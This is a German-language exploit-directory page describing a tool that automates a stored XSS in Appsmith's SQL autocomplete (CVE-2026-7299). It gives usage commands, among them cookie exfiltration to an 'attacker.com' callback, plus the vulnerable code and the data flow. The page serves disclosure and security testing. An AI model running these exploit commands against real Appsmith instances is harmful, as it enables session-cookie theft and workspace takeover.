Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Appsmith-1.98-Stored-XSS-Exploit — Automatisierung der Ausnutzung von CVE-2026-7299 - Stored XSS via Database Table/Column Names in SQL Autocomplete innerhalb Appsmith <=1.99. Erstentdeckung 30/03/26 | Kitploit
Tools/GitHubGitHub/stuub/appsmith-1.98-stored-xss-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubstuub/appsmith-1.98-stored-xss-exploit

Appsmith-1.98-Stored-XSS-Exploit

Automatisierung der Ausnutzung von CVE-2026-7299 - Stored XSS via Database Table/Column Names in SQL Autocomplete innerhalb Appsmith <=1.99. Erstentdeckung 30/03/26

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
3vor 2 MonatenNoch nicht geprüft

CVE-2026-7299 - Appsmith 1.98 Gespeichertes XSS (SQL-Autovervollständigung innerHTML-Senke)

Automatisierter Exploit für eine gespeicherte Cross-Site-Scripting-Sicherheitslücke im SQL-Abfrageeditor von Appsmith. Ein Workspace-Entwickler kann beliebiges JavaScript über Datenbanktabellennamen injizieren, das im Browser eines anderen Workspace-Mitglieds ausgeführt wird, wenn die SQL-Autovervollständigung ausgelöst wird.

Bestätigt für Appsmith v1.98 und wahrscheinlich alle früheren Versionen, in denen der benutzerdefinierte SQL-Hint-Renderer vorhanden ist. Die Sicherheitslücke existiert in hintHelpers.ts:165, wo CodeMirrors sichere Standard-Hint-Wiedergabe (textContent) durch einen benutzerdefinierten render-Callback überschrieben wird, der innerHTML verwendet, um Datenbanktabellen- und Spaltennamen ohne jegliche Bereinigung anzuzeigen.

Verwendung

Basic alert PoC:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!

Cookie exfiltration to a callback server:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --callback-url http://attacker.com:8888

Custom payload:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --custom-payload ''

If no PostgreSQL datasource exists yet, the script auto-discovers connections or you can provide credentials:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --db-host postgres --db-name testdb --db-user postgres --db-pass postgres

Beispiel

Screenshot_20260330_161606

PoC Video Demo

https://www.youtube.com/watch?v=1RHBYZ2Bp_A

Dokumentation

Hintergrund

Appsmith ist eine quelloffene Low-Code-Plattform, auf der Teams interne Tools erstellen, indem sie Datenquellen verbinden und Abfragen schreiben. Der SQL-Abfrageeditor bietet Autovervollständigungsvorschläge, die aus den Tabellen- und Spaltenmetadaten der verbundenen Datenbank abgerufen werden.

Die Autovervollständigungsdarstellung in hintHelpers.ts verwendet einen benutzerdefinierten CodeMirror render-Callback:

root@kitploit:~
completion.render = (LiElement, _data, { className, text }) => {
    const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
    LiElement.setAttribute("hinttype", hintType);
    LiElement.setAttribute("icontext", iconText);
    LiElement.classList.add("cm-sql-hint");
    LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
    LiElement.innerHTML = text;  // <-- unsanitized table/column name
};

CodeMirror 5 verwendet für die Standard-Hint-Wiedergabe textContent (sicher). Appsmith überschreibt dies mit innerHTML, um benutzerdefinierte CSS-Klassen und Icon-Attribute für das Styling hinzuzufügen, aber der eigentliche Textinhalt (der Tabellenname) wird als rohes HTML zugewiesen. Es existiert an keiner Stelle im 8-stufigen Datenfluss vom Datenbankkatalog bis zur DOM-Wiedergabe eine Bereinigung.

Exploit-Ablauf

Der gesamte Angriff wird über die Appsmith-Web-Benutzeroberfläche ausgeführt.

Der Angreifer (ein Workspace-Entwickler) führt eine CREATE TABLE-Anweisung mit einer XSS-Nutzlast als Tabellennamen aus. Appsmiths PostgresPlugin führt keine DDL-Filterung durch, statement.execute(query) akzeptiert jedes gültige SQL einschließlich DDL.

root@kitploit:~
CREATE TABLE "" (id serial primary key);

Ein anderes Workspace-Mitglied öffnet den SQL-Abfrageeditor für dieselbe Datenquelle und beginnt, eine Abfrage zu tippen. Das Autovervollständigungs-Dropdown erscheint mit Tabellennamenvorschlägen, die aus den Datenbankmetadaten abgerufen werden. Der bösartige Tabellenname wird via innerHTML gerendert, wodurch die JavaScript-Nutzlast in der Browsersitzung des Opfers ausgeführt wird.

Das XSS wird im Appsmith-Anwendungskontext mit der Sitzung des Opfers ausgeführt. Ein Angreifer kann Sitzungscookies (XSRF-TOKEN, SESSION) stehlen, Datenbankanmeldeinformationen exfiltrieren oder API-Aufrufe im Namen des Opfers tätigen. Ist das Opfer ein Administrator, eskaliert der Angreifer zur vollständigen Workspace-Kontrolle.

Datenfluss

root@kitploit:~
PostgreSQL pg_catalog (table_name, column_name)
  -> PostgresPlugin.getStructure()           [no sanitisation]
  -> DatasourceStructure Java POJO           [no sanitisation]
  -> REST API /api/v1/datasources/{id}/structure  [no sanitisation]
  -> Redux state.entities.datasources        [no sanitisation]
  -> getAllDatasourceTableKeys selector       [no sanitisation]
  -> SqlHintHelper.setDatasourceTableKeys()  [no sanitisation]
  -> CodeMirror hint.sql() completions       [no sanitisation]
  -> LiElement.innerHTML = text              [XSS]

Keine Bereinigung vorhanden, sodass die Nutzlast beim Aufruf durch den Autovervollständigungs-Renderer über innerHTML im DOM ausgelöst wird.

Referenzen

  • CVE-2026-7299
  • Appsmith GitHub Repository
  • CWE-79: Unsachgemäße Neutralisierung von Eingaben während der Webseitengenerierung
  • CVE-2026-30862 - Ähnliches Muster in TableWidgetV2 (behoben)
  • Angreifbare Datei: app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Ich übernehme keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

Viel Spaß beim Hacken!

Tool herunterladen